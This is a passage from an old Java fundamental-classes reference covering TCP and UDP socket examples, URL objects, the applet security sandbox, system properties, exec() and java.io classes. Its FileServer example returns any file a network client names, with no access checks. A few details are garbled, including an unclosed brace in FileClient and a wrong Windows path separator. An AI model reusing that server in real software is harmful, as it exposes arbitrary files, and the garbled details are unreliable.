        ServerSocket s;
        try {
            s = new ServerSocket(1234, 10);
        }catch (IOException e) {
            System.err.println("Unable to create socket");
            e.printStackTrace();
            return;
        }
        try {
            while (true) {
                new FileServer(s.accept());
            }
        }catch (IOException e) {
        }
    }
    private Socket socket;
    FileServer(Socket s) {
        socket = s;
        start();
    }
    public void run() {
        InputStream in;
        String fileName = "";
        PrintStream out = null;
        FileInputStream f;
        try {
            in = socket.getInputStream();
            out = new PrintStream(socket.getOutputStream());
            fileName = new DataInputStream(in).readLine();
            f = new FileInputStream(fileName);
        }catch (IOException e) {
            if (out != null)
              out.print("Bad:"+fileName+"\n");
            out.close();
            try {
                socket.close();
            }catch (IOException ie) {
            }
            return;
        }
        out.print("Good:\n");
        // send contents of file to client.
        byte[] buffer = new byte[4096];
        try {
            int len;
            while ((len = f.read(buffer)) > 0) {
                out.write(buffer, 0, len);
            }// while
        }catch (IOException e) {
        }finally {
            try {
                in.close();
                out.close();
                socket.close();
            }catch (IOException e) {
            }
        }
    }
}

The FileServer class implements the server side of the file transfer; it is a subclass of Thread to make it easier to write code that can handle multiple connections at the same time. The main() method provides the top-level logic for the program. The first thing that main() does is to create a ServerSocket object to listen for connections. The constructor for ServerSocket takes two parameters: the port number for the socket and a value that specifies the maximum length of the pending connections queue. The operating system can accept connections on behalf of the socket when the server program is busy doing something other than accepting connections. If the second parameter is greater than zero, the operating system can accept up to that many connections on behalf of the socket and store them in a queue. If the second parameter is zero, however, the operating system does not accept any connections on behalf of the server program. The remainder of the main() method accepts a connection, creates a new instance of the FileServer class to process the connection, and then waits for the next connection.

Each FileServer object is responsible for handling a connection accepted by its main() method. A FileServer object uses a private variable, socket, to refer to the Socket object that allows it to communicate with the client program on the other end of the connection. The constructor for FileServer sets its socket variable to refer to the Socket object that is passed to it by the main() method and then calls its start() method. The FileServer class inherits the start() method from the Thread class; the start() method starts a new thread that calls the run() method. Because the rest of the connection processing is done asynchronously in a separate thread, the constructor can return immediately. This allows the main() method to accept another connection right away, instead of having to wait for this connection to be fully processed before accepting another.

The run() method uses the in and out variables to refer to InputStream and PrintStream objects that read from and write to the connection associated with the Socket object, respectively. These streams are created by calling the getInputStream() and getOutputStream() methods of the Socket object. The run() method then reads the name of the file that the client program wants to receive and creates a FileInputStream to read that file. If any of the methods called up to this point have detected a problem, they throw some kind of IOException. In this case, the server sends a response to the client that consists of the string "Bad:" followed by the filename and then closes the socket and returns, which kills the thread.

If everything up to this point has been fine, the server sends the string "Good:" and then copies the contents of the file to the socket. The copying is done by repeatedly filling a buffer with bytes from the file and writing the buffer to the socket. When the contents of the file are exhausted, the streams and the socket are closed, the run() method returns, and the thread dies.

Now let's take a look at the client part of this program:

public class FileClient {
    private static boolean usageOk(String[] argv) {
        if (argv.length != 2) {
            String msg = "usage is: " + "FileClient server-name file-name";
            System.out.println(msg);
            return false;
        }
        return true;
    }
    public static void main(String[] argv) {
        int exitCode = 0;
        if (!usageOk(argv))
          return;
        Socket s = null;
        try {
            s = new Socket(argv[0], 1234);
        }catch (IOException e) {
            String msg = "Unable to connect to server";
            System.err.println(msg);
            e.printStackTrace();
            System.exit(1);
        }
        InputStream in = null;
        try {
            OutputStream out = s.getOutputStream();
            new PrintStream(out).print(argv[1]+"\n");
            in = s.getInputStream();
            DataInputStream din = new DataInputStream(in);
            String serverStatus = din.readLine();
            if (serverStatus.startsWith("Bad")) {
                exitCode = 1;
            int ch;
            while((ch = in.read()) >= 0) {
                System.out.write((char)ch);
            }// while
        }catch (IOException e) {
        }finally {
            try {
                s.close();
            }catch (IOException e) {
            }
        }
    }
}

The usageOk() method is simply a utility method that verifies that the correct number of arguments have been passed to the client application. It outputs a help message if the number of arguments is not what is expected. It is generally a good idea to include a method like this in a Java application that uses command-line parameters.

The main() method does the real work of FileClient. After it verifies that it has the correct number of parameters, it attempts to create a socket connected to the server program running on the specified host and listening for connections on port number 1234. The socket that it creates is encapsulated by a Socket object. The constructor for the Socket object takes two arguments: the name of the machine the server program is running on and the port number. After the socket is successfully opened, the client sends the specified filename, followed by a new line character, to the server. The client then gets an InputStream from the socket to read what the server is sending and reads the success/failure code that the server sends back. If the request is a success, the client reads the contents of the requested file.

Note that the finally clause at the end closes the socket. If the program did not explicitly close the socket, it would be closed automatically when the program terminates. However, it is a good programming practice to explicitly close a socket when you are done with it.

Sockets for Connectionless Protocols

Communicating with a connectionless protocol is simpler than using a connection-oriented protocol, as both the client and the server use DatagramSocket objects. The code for the server-side program has the following pattern:

  • Create a DatagramSocket object associated with a specified port number.

  • Create a DatagramPacket object and ask the DatagramSocket to put the next piece of data it receives in the DatagramPacket.

On the client-side, the order is simply reversed:

  • Create a DatagramPacket object associated with a piece of data, a destination network address, and a port number.

  • Ask a DatagramSocket object to send the data associated with the DatagramPacket to the destination associated with the DatagramSocket.

Let's look at an example that shows how this pattern can be coded into a server that provides the current time and a client that requests the current time. Here's the code for the server class:

public class TimeServer {
    static DatagramSocket socket;
    public static void main(String[] argv) {
        try {
            socket = new DatagramSocket(7654);
        }catch (SocketException e) {
            System.err.println("Unable to create socket");
            e.printStackTrace();
            System.exit(1);
        }
        DatagramPacket datagram;
        datagram = new DatagramPacket(new byte[1], 1);
        while (true) {
            try {
                socket.receive(datagram);
                respond(datagram);
            }catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    static void respond(DatagramPacket request) {
        ByteArrayOutputStream bs;
        bs = new ByteArrayOutputStream();
        DataOutputStream ds = new DataOutputStream(bs);
        try {
            ds.writeLong(System.currentTimeMillis());
        }catch (IOException e) {
        }
        DatagramPacket response;
        byte[] data = bs.toByteArray();
        response = new DatagramPacket(data, data.length,
                       request.getAddress(), request.getPort());
        try {
            socket.send(response);
        }catch (IOException e) {
            // Give up, we've done our best.
        }
    }
}

The main() method of the TimeServer class begins by creating a DatagramSocket object that uses port number 7654. The socket variable refers to this DatagramSocket, which is used to communicate with clients. Then the main() method creates a DatagramPacket object to contain data received by the DatagramSocket. The two-argument constructor for DatagramPacket creates objects that receive data. The first argument is an array of bytes to contain the data, while the second argument specifies the number of bytes to read. When a DatagramSocket is asked to receive a packet into a DatagramPacket, only the specified number of bytes are read. Even though the client is not really sending any information to the server, we still create a DatagramPacket with a 1-byte buffer. In theory, all that the server needs is an empty packet that specifies the client's network address and port number, but attempting to receive a zero-byte packet does not work. When the receive() method of a DatagramSocket is called to receive a zero-byte packet, it returns immediately, rather than waiting for a packet to arrive. Finally, the server enters an infinite loop that receives requests from clients using the receive() method of the DatagramSocket, and sends responses.

The respond() method handles sending responses. It starts by writing the current time as a long value to an array of bytes. Next, the respond() method prepares to send the array of bytes by creating a DatagramPacket object that encapsulates the array and the address and port number of the client that requested the time. Notice that the constructor used to create a DatagramPacket object for sending a packet takes four arguments: an array of bytes, the number of bytes to send, the client's network address, and the client's port number. The address and port are retrieved from the request DatagramPacket with the getAddress() and getPort() methods. The respond() method finishes its work by actually sending the DatagramPacket using the send() method of the DatagramSocket.

Now here's the code for the corresponding client program:

public class TimeClient {
    private static boolean usageOk(String[] argv) {
        if (argv.length != 1) {
            String msg = "usage is: " + "TimeClient server-name";
            System.out.println(msg);
            return false;
        }
        return true;
    }
    public static void main(String[] argv) {
        if (!usageOk(argv))
            System.exit(1);
        DatagramSocket socket;
        try {
            socket = new DatagramSocket();
        }catch (SocketException e) {
            System.err.println("Unable to create socket");
            e.printStackTrace();
            System.exit(1);
            return;
        }
        long time;
        try {
            byte[] buf = new byte[1];
            socket.send(new DatagramPacket(buf, 1,
                            InetAddress.getByName(argv[0]), 7654));
            DatagramPacket response = new DatagramPacket(new byte[8],8);
            socket.receive(response);
            ByteArrayInputStream bs;
            bs = new ByteArrayInputStream(response.getData());
            DataInputStream ds = new DataInputStream(bs);
            time = ds.readLong();
        }catch (IOException e) {
            e.printStackTrace();
            System.exit(1);
            return;
        }
        System.out.println(new Date(time));
        socket.close();
    }
}

The main() method does the real work of TimeClient. After it verifies that it has the correct number of parameters with usageOk(), it creates a DatagramSocket object for communicating with the server. Note that the constructor for this DatagramSocket does not specify any parameters; a client DatagramSocket is not explicitly connected to a specific port. Then the main() method creates a DatagramPacket object to contain the request to be sent to the server. Since this DatagramPacket is being used to send a packet, the code uses the four-argument constructor that specifies an array of bytes, the number of bytes to send, the specified network address for a time server, and the server's port number. The DatagramPacket is then sent to the server with the send() method of the DatagramSocket.

Now the main() method creates another DatagramPacket to receive the response from the server. The two-argument constructor is used this time because the object is being created to receive data. After calling the receive() method of the DatagramSocket to get the response from the server, the main() method gets the data from the response DatagramPacket by calling getData(). The data is wrapped in a DataInputStream so that the data can be read as a long value. If everything has gone smoothly, the client finishes by printing the current time and closing the socket.

Previous | Home | Next
Versioning of Classes | Book Index | URL Objects
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.2 URL Objects

Java Fundamental Classes Reference

Previous Chapter 8
Networking 		Next

8.2 URL Objects

The URL class provides higher-level access to data than sockets do. A URL object encapsulates a Uniform Resource Locator (URL) specification. Once you have created a URL object, you can use it to access the data in the location specified by the URL. A URL allows you to access the data without needing to be aware of the details of the protocol being used, such as HTTP or FTP. For some types of data, a URL object provides a way to get the data already encapsulated in an appropriate kind of object. For example, a URL can provide JPEG data encapsulated in an ImageProducer object or text data encapsulated in a String object.

You can create a URL object as follows:

try {
    URL js = new URL("http://www.javasoft.com/index.html");
}catch (MalformedURLException e) {
    return;
}

This type of URL specification is called an absolute URL specification because it completely specifies where to find the data. It is also possible to create a URL object with a relative URL specification that is combined with an absolute specification:

try {
   URL jdk = new URL(js,"java.sun.com/products/JDK/index.html");
}catch (MalformedURLException e) {
    return;
}

In this example, the URL created in the previous example is combined with a relative URL specification that doesn't specify a network address or a root directory. The constructor can only combine the specifications if the protocol for both specifications is the same. If no protocol is specified, HTTP is assumed. The rules for combining the specifications depend on the protocol. In fact, the syntax rules for the portion of the URL after the protocol and up to an optional # depend on the protocol. If there's a # in the URL specification, the portion of the spec after the # is considered reference information that specifies a location within a file.

Once you have created a URL object, you can use the following access methods to get the information that the URL object encapsulates:

  • getProtocol()

  • getHost()

  • getFile()

  • getPort()

  • getRef()

If you want to determine if two URL objects refer to the same file, you can use the sameFile(URL) method, which compares all the information in two URL objects except the reference information.

The highest level of functionality available from a URL object is provided by the getContent() method. The getContent() method tries to determine the type of data in the file specified by the URL, and then it returns the contents of the file encapsulated in an appropriate object for that type of data. For example, if the file contains GIF data, getContent() returns an ImageProducer object. If the type of data is not explicitly specified, getContent() tries to guess the type from the filename extension and possibly also from the contents of the file. The data type names that Java uses conform to the naming scheme for MIME data types, as do the filename extensions that are recognized. The data types that correspond to various file extensions are shown in Table 8.2.

Table 8.2: File Extensions and Data Types
Suffix | Data Type | Suffix | Data Type
.a [1] | application/octet-stream | .ms | application/x-troff-ms
.ai | application/postscript | .mv | video/x-sgi-movie
.aif | audio/x-aiff | .nc | application/x-netcdf
.aifc | audio/x-aiff | .o [1] | application/octet-stream
.aiff | audio/x-aiff | .obj [2] | application/octet-stream
.arc | application/octet-stream | .oda | application/oda
.au | audio/basic | .pbm | image/x-portable-bitmap
.avi | application/x-troff-msvideo | .pdf | application/pdf
.bcpio | application/x-bcpio | .pgm | image/x-portable-graymap
.bin | application/octet-stream | .pl | text/plain
.c | text/plain | .pnm | image/x-portable-anymap
.c++ | text/plain | .ppm | image/x-portable-pixmap
.cc | text/plain | .ps | application/postscript
.cdf | application/x-netcdf | .qt | video/quicktime
.cpio | application/x-cpio | .ras | image/x-cmu-rast
.dump | application/octet-stream | .rgb | image/x-rgb
.dvi | application/x-dvi | .roff | application/x-troff
.el | text/plain | .rtf [2] | application/rtf
.eps | application/postscript | .rtx | application/rtf
.etx | text/x-setext | .saveme | application/octet-stream
.exe | application/octet-stream | .sh | application/x-shar
.gif | image/gif | .shar | application/x-shar
.gtar | application/x-gtar | .snd | audio/basic
.gz | application/octet-stream | .src | application/x-wais-source
.h | text/plain | .sv4cpio | application/x-sv4cpio
.hdf | application/x-hdf | .sv4crc | application/x-sv4crc
.hqx | application/octet-stream | .t | application/x-troff
.htm | text/html | .tar | application/x-tar
.html | text/html | .tex | application/x-tex
.ief | image/ief | .texi | application/x-texinfo
.java | text/plain | .texinfo | application/x-texinfo
.jfif | image/jpeg | .text | text/plain
.jfif-tbnl | image/jpeg | .tif | image/tiff
.jpe | image/jpeg | .tiff | image/tiff
.jpeg | image/jpeg | .tr | application/x-troff
.jpg | image/jpeg | .tsv | text/tab-separated-values
.latex | application/x-latex | .txt | text/plain
.lib [2] | application/octet-stream | .ustar | application/x-ustar
.man | application/x-troff-man | .uu | application/octet-stream
.me | application/x-troff-me | .wav | audio/x-wav
.mime | message/rfc822 | .wsrc | application/x-wais-source
.mov | video/quicktime | .xbm | image/x-xbitmap
.movie | video/x-sgi-movie | .xpm | image/x-xpixmap
.mpe | video/mpeg | .xwd | image/x-xwindowdump
.mpeg | video/mpeg | .z [2] | application/octet-stream
.mpg | video/mpeg | .zip [2] | application/zip

Footnotes:

[1] UNIX only.

[2] Windows only.

If the filename does not end with a recognized extension, the first few bytes of the file are examined. If the first few bytes match the signature of a known type, the file is assumed to be of that type. Table 8.3 shows the byte combinations that are recognized.

Table 8.3: File Contents and Corresponding File Type
File Begins with | Inferred Data Type
"GIF8" | image/gif
"#def" | image/x-bitmap
"! XPM2" | image/x-pixmap
"<html>" | text/html
"<head>" | text/html
"<body>" | text/html

If you want to access the raw contents of a file instead of getting it encapsulated in an object, you can call the openStream() method of a URL. The openStream() method returns a reference to an InputStream object that you can use to read the file.

URLConnection Objects

After a URL object has parsed its specification, it actually creates a URLConnection object that is responsible for the protocol that it uses. The URLConnection is also responsible for determining the type of data in the file. The object is an instance of a subclass of URLConnection that is specific to the protocol specified by the URL object. As of Java 1.1, the java.net package includes the HttpURLConnection class for the HTTP protocol.

The URLConnection object for a URL provides complete control over the downloading of data from that URL. Unfortunately, the functionality of URLConnection is quite complex and goes beyond the scope of this book. For a detailed explanation of URLConnection, see Java Network Programming by Eliotte Rusty Harold, published by O'Reilly & Associates.

Previous | Home | Next
Sockets | Book Index | Security
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] Security

Java Fundamental Classes Reference

Previous Chapter 9 Next

9. Security

Contents:
SecurityManager
ClassLoader

Java uses a "sandbox" security model to ensure that applets cannot cause security problems. The idea is that an applet can do whatever it wants within the constraints of its sandbox, but that nothing done inside the sandbox has any consequences outside of the sandbox.

9.1 SecurityManager

Java implements the sandbox model using the java.lang.SecurityManager class. An instance of SecurityManager is passed to the method System.setSecurityManager() to establish the security policy for an application. Before setSecurityManager() is called, a Java program can access any resources available on the system. After setSecurityManager() is called, however, the SecurityManager object is responsible for providing a security policy. Once a security policy has been set by calling setSecurityManager, the method cannot be called again. Subsequent calls simply throw a SecurityException.

All methods in the Java API that can access resources outside of the Java environment call a SecurityManager method to ask permission before doing anything. If the SecurityManager method throws a SecurityException, the exception is thrown out of the calling method, and access to the resource is denied. The SecurityManager class defines a number of methods for asking for permission to access specific resources. Each of these methods has a name that begins with the word "check." Table 9.1 shows the names of the check methods provided by the SecurityManager class.

Table 9.1: The Check Methods of SecurityManager
Method Name | Permission
checkAccept() | To accept a network connection
checkAccess() | To modify a Thread or ThreadGroup
checkAwtEventQueueAccess() | To access the AWT event queue
checkConnect() | To establish a network connection or send a datagram
checkCreateClassLoader() | To create a ClassLoader object
checkDelete() | To delete a file
checkExec() | To call an external program
checkExit() | To stop the Java virtual machine and exit the Java environment
checkLink() | To dynamically link an external library into the Java environment
checkListen() | To listen for a network connection
checkMemberAccess() | To access the members of a class
checkMulticast() | To use a multicast connection
checkPackageAccess() | To access the classes in a package
checkPackageDefinition() | To define classes in a package
checkPrintJobAccess() | To initiate a print job request
checkPropertiesAccess() | To get or set the Properties object that defines all of the system properties
checkPropertyAccess() | To get or set a system property
checkRead() | To read from a file or input stream
checkSecurityAccess() | To perform a security action
checkSetFactory() | To set a factory class that determines classes to be used for managing network connections and their content
checkSystemClipboardAccess() | To access the system clipboard
checkTopLevelWindow() | To create a top-level window on the screen
checkWrite() | To write to a file or output stream

The SecurityManager class provides implementations of these methods that always refuse the requested permission. To implement a more permissive security policy, you need to create a subclass of SecurityManager that implements that policy.

In Java 1.0, most browsers consider an applet to be trusted or untrusted. An untrusted applet is one that does not come from the local filesystem. An untrusted applet is treated as follows by most popular browsers:

  • It can establish network connections to the network address from which it came.

  • It can create new windows on the screen. However, a notice is displayed on the bottom of the window that the window was created by an untrusted applet.

  • It cannot access any other external resources. In particular, untrusted applets cannot access local files.

As of Java 1.1, an applet can have a digital signature attached to it. When an applet has been signed by a trusted entity, a browser may consider the applet to be trusted and relax its security policy.

Previous | Home | Next
URL Objects | Book Index | ClassLoader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.2 ClassLoader

Java Fundamental Classes Reference

Previous Chapter 9
Security 		Next

9.2 ClassLoader

Java supports dynamically loaded classes, so the class loading mechanism plays an important role in the Java security model. The default class loading mechanism in Java loads classes from local files found relative to directories specified by the CLASSPATH environment variable. The CLASSPATH environment variable should have a value made up of one or more directory paths separated by a colon. The path implied by the package of a class is relative to the directories specified in the CLASSPATH environment variable.

In contrast, an instance of the java.lang.ClassLoader class defines how classes are loaded over the network. You can specify a security policy for loading classes by defining a subclass of ClassLoader that implements the policy. The loadClass() method of a ClassLoader loads a top-level class, such as a subclass of Applet. That ClassLoader object then becomes associated with the loaded class. You can retrieve the ClassLoader object that loads the class by calling the getClassLoader() of an instance of the loaded class; every class in Java inherits this method from the Object class.

An object of a class loaded using a ClassLoader can attempt to load additional classes without explicitly using a ClassLoader object. The object does this by calling the forName() method of the Class class. However, if a ClassLoader object is associated with any pending method invocation in the current thread, the forName() method uses that ClassLoader to load the additional classes. In essence, this means that the object can only load classes through its associated ClassLoader.

If Java security is implemented correctly, an untrusted applet cannot escape the security policy implemented by the ClassLoader object used to load it because it cannot access any other ClassLoader objects. An applet should not be able to create its own ClassLoader objects. It is the responsibility of the checkCreateClassLoader() method of SecurityManager to enforce this restriction.

Because a SecurityManager can determine the ClassLoader, if any, used to load a class, it can use the ClassLoader to help determine the trustworthiness ofthe class. Classes loaded by different ClassLoader objects cannot accidentally be mixed up because a class is identified by the combination of its fully qualified name and its ClassLoader.

Previous | Home | Next
SecurityManager | Book Index | Accessing the Environment
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Accessing the Environment

Java Fundamental Classes Reference

Previous Chapter 10 Next

10. Accessing the Environment

Contents:
I/O
System Properties
Environment Variables
External Program Execution
Garbage Collection
Self Termination

The java.lang.System and java.lang.Runtime classes provide a variety of methods that allow a Java program to access information and resources for the environment in which it is running. This environment includes the Java virtual machine and the native operating system.

10.1 I/O

The System class defines three static variables for the three default I/O stream objects that are used by Java programs:

in

This variable refers to an InputStream that is associated with the process's standard input.

out

This variable refers to a PrintStream object that is associated with the process's standard output. In an applet environment, the PrintStream is likely to be associated with a separate window or a file, although this is not guaranteed.

This stream is the most commonly used of the three I/O streams provided by the System class. Even in GUI-based applications, sending output to this stream can be useful for debugging purposes. The usual idiom for sending output to this stream is:

System.out.println("some string");

err

This variable refers to a PrintStream object that is associated with the process's standard error output. In an applet environment, the PrintStream is likely to be associated with a separate window or a file, although this is not guaranteed.

Previous | Home | Next
ClassLoader | Book Index | System Properties
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.2 System Properties

Java Fundamental Classes Reference

Previous Chapter 10
Accessing the Environment 		Next

10.2 System Properties

System properties provide a mechanism for getting information about the environment. You can get the value of a system property by passing its name to the System.getProperty(String) method. This method returns the value of the named property as a String, or it returns null if the property is not defined. Since it is common to assume a default value if a property is not specified, there is also a System.getProperty(String, String) method that takes the name of a property and a default String value to return if the property is not defined.

Table 10.1 lists the standard system properties for a Java environment. Many of these properties are guaranteed to be defined in any Java environment. Note, however, that untrusted applets aren't allowed to access many of these properties.

Table 10.1: Standard System Properties
Property Name | Description
file.encoding | The character encoding for the default locale ( Java 1.1 only)
file.encoding.pkg | The package that contains the converters that handle converting between local encodings and Unicode ( Java 1.1 only)
file.separator | The platform-dependent file separator (e.g., "/" on UNIX, "\" for Windows)
java.class.path | The value of the CLASSPATH environment variable
java.class.version | The version of the Java API
java.compiler | The just-in-time compiler to use, if any. The java interpreter provided with the JDK initializes this property from the environment variable JAVA_COMPILER
java.home | The directory in which Java is installed
java.version | The version of the Java interpreter
java.vendor | A vendor-specific string
java.vendor.url | A vendor URL
line.separator | The platform-dependent line separator (e.g., "\n" on UNIX, "\r\n" for Windows)
os.name | The name of the operating system
os.arch | The system architecture
os.version | The operating system version
path.separator | The platform-dependent path separator (e.g., ":" on UNIX, "," for Windows)
user.dir | The current working directory when the properties were initialized
user.home | The home directory of the current user
user.language | The two-letter language code of the default locale ( Java 1.1 only)
user.name | The username of the current user
user.region | The two-letter country code of the default locale ( Java 1.1 only)
user.timezone | The default time zone ( Java 1.1 only)

The Java API also provides some convenience methods for getting the value of a system property that should be interpreted as a data type other than String:

  • Boolean.getBoolean() returns the value of a named system property as a boolean.

  • Color.getColor() returns a Color object that represents the color specified by the value of a named system property interpreted as an RGB value. For example, the value 0xFFFFFF is white, 0xFF000 is red, 0x00FF00 is green, and 0x0000FF is blue.

  • Font.getFont() returns a Font object that is mapped to a font in the native windowing system. If the string passed to getFont() is "poster", the method uses the value of the system property awt.font.poster as the name of the native font.

    By default, the font style is plain and the font size is 12 points. If the font name is prefixed with bold-, italic- or bolditalic-, that style is used instead. If the font name is prefixed with a size and a -, that size is used instead. If both style and size are specified, style must come first. For example, passing "italic-14-timesRoman" to getFont() causes it to return a Font object that uses the native font identified by the system property awt.font.timesRoman. That font should be an italic, 14-point, TimesRoman font.

  • Integer.getInteger() returns the value of a named system property as an int.

  • Long.getLong() returns the value of a named system property as a long.

    There are two built-in mechanisms for setting system properties. Note that you can use these mechanisms to set the standard system properties or to define specific system properties for your own application.

  • You can define properties from the command line of the Java virtual machine using the -D command line option. For example, to define a property named time.server with the value tm02, you can invoke the interpreter like this:

    C:\> java -Dtime.server=tm02

  • You can define any number of system properties using -D, as long as each property is specified with its own -D option.

You can programmatically define properties by calling the System.setProperties() method. The Properties object that you pass to System.setProperties() becomes the new source for all system property values.

If a program is running in a browser or other environment that has a SecurityManager installed, it may be denied any access to system properties.

Previous | Home | Next
I/O | Book Index | Environment Variables
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.3 Environment Variables

Java Fundamental Classes Reference

Previous Chapter 10
Accessing the Environment 		Next

10.3 Environment Variables

Java does not provide any way to directly access environment variables defined on a system. There is a System.getEnv() method that served that purpose before Java 1.0 was released. However, in released versions of Java, the System.getEnv() method just throws an exception with a message explaining that it is not supported.

However, an environment variable can be made available as a system property if it is defined as a system property on the command line that invokes the Java virtual machine. For example, to make the environment variable PRINTER available as a system property in a Windows environment, you can write:

C:\> java -Dprinter=%PRINTER%

In a UNIX environment, you can use:

% java -Dprinter=$PRINTER

Previous | Home | Next
System Properties | Book Index | External Program Execution
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.4 External Program Execution

Java Fundamental Classes Reference

Previous Chapter 10
Accessing the Environment 		Next

10.4 External Program Execution

The Runtime.exec() method allows a Java program to run an external program. There are four forms of the exec() method, but they all expect to receive command-line-style information about the program to be run. The simplest exec() method takes a single String argument that contains the name of the program and its arguments. For example, to print a file named foo.ps in a Windows environment, you can use the following:

getRuntime().exec("copy foo.ps lpt1:");

Another form of exec() takes an array of String objects as its argument. The first element of the array is the name of the program to run; the remaining array elements are arguments to the program. The other two forms of exec() take a second argument that specifies the environment variables that are available to the program. The second argument should be an array of strings that are all of the form name =value.

The external program started by exec() is run asynchronously from the Java program that started it. All forms of the exec() method return immediately; they return a reference to a Process object that you can use to communicate with the external program. The three standard I/O streams for the external program can be accessed by calling the getInputStream(), getOutputStream(), and getErrorStream() methods of the Process object. If you want to wait for the external program to complete, you can call the waitFor() method. This method returns the program's exit code. The exitValue() method returns the program's exit code if it is called after the program has completed. If it is called before the program completes, it throws an IllegalThreadStateException. You can kill the external program by calling the destroy() method.

If a program is running in a browser or other environment that has a SecurityManager installed, it may be denied the ability to execute external programs.

Previous | Home | Next
Environment Variables | Book Index | Garbage Collection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.5 Garbage Collection

Java Fundamental Classes Reference

Previous Chapter 10
Accessing the Environment 		Next

10.5 Garbage Collection

The garbage-collection process in Java normally runs continuously in the background in a low-priority thread. In an environment that has nonpreemptive thread scheduling, you may want to run the Java virtual machine with the -noasyncgc option to ensure the best possible response from your application. The -noasyncgc option prevents garbage collection from running in the background. In this case, the only time that garbage collection occurs automatically is when the Java virtual machine runs out of memory. Since this can cause unexpected pauses in a program, you should try to avoid the problem by running the garbage collector at convenient or appropriate times by calling System.gc().

Previous | Home | Next
External Program Execution | Book Index | Self Termination
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.6 Self Termination

Java Fundamental Classes Reference

Previous Chapter 10
Accessing the Environment 		Next

10.6 Self Termination

The very last communication a program has with its environment occurs when it terminates itself. A Java application can terminate itself by calling the System.exit() method. This method terminates an application by exiting the Java virtual machine; its argument is the exit code that is returned to the environment that invoked the Java virtual machine.

If a program is running in a browser or other environment that has a SecurityManager installed, it may be denied the ability to call System.exit().

Previous | Home | Next
Garbage Collection | Book Index | The java.io Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] The java.io Package

Java Fundamental Classes Reference

Previous Chapter 11 Next

11. The java.io Package

Contents:
BufferedOutputStream
BufferedReader
BufferedWriter
ByteArrayInputStream
ByteArrayOutputStream
CharArrayReader
CharArrayWriter
CharConversionException
DataInput
DataInputStream
DataOutput
DataOutputStream
EOFException
Externalizable
File
FileDescriptor
FileInputStream
FilenameFilter
FileNotFoundException
FileOutputStream
FileReader
FileWriter
FilterInputStream
FilterOutputStream
FilterReader
FilterWriter
InputStream
InputStreamReader
InterruptedIOException
InvalidClassException
InvalidObjectException
IOException
LineNumberInputStream
LineNumberReader
NotActiveException
NotSerializableException
ObjectInput
ObjectInputStream
ObjectInputValidation
ObjectOutput
ObjectOutputStream
ObjectStreamClass
ObjectStreamException
OptionalDataException
OutputStream
OutputStreamWriter
PipedInputStream
PipedOutputStream
PipedReader
PipedWriter
PrintStream
PrintWriter
PushbackInputStream
PushbackReader
RandomAccessFile
Reader
SequenceInputStream
Serializable
StreamCorruptedException
StreamTokenizer
StringBufferInputStream
StringReader
StringWriter
SyncFailedException
UnsupportedEncodingException
UTFDataFormatException
WriteAbortedException
Writer

The package java.io contains the classes that handle fundamental input and output operations in Java. The I/O classes can be grouped as follows:

  • Classes for reading input from a stream of data.

  • Classes for writing output to a stream of data.

  • Classes that manipulate files on the local filesystem.

  • Classes that handle object serialization.

I/O in Java is based on streams. A stream represents a flow of data or a channel of communication. Java 1.0 supports only byte streams. The InputStream class is the superclass of all of the Java 1.0 byte input streams, while OutputStream is the superclass of all the byte output streams. The drawback to these byte streams is that they do not always handle Unicode characters correctly.

As of Java 1.1, java.io contains classes that represent character streams. These character stream classes handle Unicode characters appropriately by using a character encoding to convert bytes to characters and vice versa. The Reader class is the superclass of all the Java 1.1 character input streams, while Writer is the superclass of all character output streams.

The InputStreamReader and OutputStreamWriter classes provide a bridge between byte streams and character streams. If you wrap an InputStreamReader around an InputStream object, the bytes in the byte stream are read and converted to characters using the character encoding scheme specified by the InputStreamReader. Likewise, you can wrap an OutputStreamWriter around any OutputStream object so that you can write characters and have them converted to bytes.

As of Java 1.1, java.io also contains classes to support object serialization. Object serialization is the ability to write the complete state of an object to an output stream, and then later recreate that object by reading in the serialized state from an input stream. The ObjectOutputStream and ObjectInputStream classes handle serializing and deserializing objects, respectively.

The RandomAccessFile class is the only class that does not use a stream for reading or writing data. As its name implies, RandomAccessFile provides nonsequential access to a file for both reading and writing purposes.

The File class represents a file on the local file system. The class provides methods to identify and retrieve information about a file.

Figure 11.1 shows the class hierarchy for the java.io package. The java.io package defines a number of standard I/O exception classes. These exception classes are all subclasses of IOException, as shown in Figure 11.2.

Figure 11.1: The java.io package

[Graphic: Figure 11-1]

Figure 11.2: The exception classes in the java.io package

[Graphic: Figure 11-2]

BufferedInputStream

Name

BufferedInputStream

Synopsis

Class Name:

java.io.BufferedInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A BufferedInputStream object provides a more efficient way to read just a few bytes at a time from an InputStream. BufferedInputStream object use a buffer to store input from an associated InputStream. In other words, a large number of bytes are read from the underlying stream and stored in an internal buffer. A BufferedInputStream is more efficient than a regular InputStream because reading data from memory is faster than reading it from a disk or a network. All reading is done directly from the internal buffer; the disk or network needs to be accessed only occasionally to fill up the buffer.

You should wrap a BufferedInputStream around any InputStream whose read() operations may be time consuming or costly, such as a FileInputStream.

BufferedInputStream provides a way to mark a position in the stream and subsequently reset the stream to that position, using mark() and reset().

Class Summary

public class java.io.BufferedInputStream extends java.io.FilterInputStream {
  // Variables
  protected byte[] buf;
  protected int count;
  protected int marklimit;
  protected int markpos;
  protected int pos;
  // Constructors
  public BufferedInputStream(InputStream in);
  public BufferedInputStream(InputStream in, int size);
  // Instance Methods
  public synchronized int available();
  public synchronized void mark(int readlimit);
  public boolean markSupported();
  public synchronized int read();
  public synchronized int read(byte[] b, int off, int len);
  public synchronized void reset();
  public synchronized long skip(long n);
}

Variables

buf

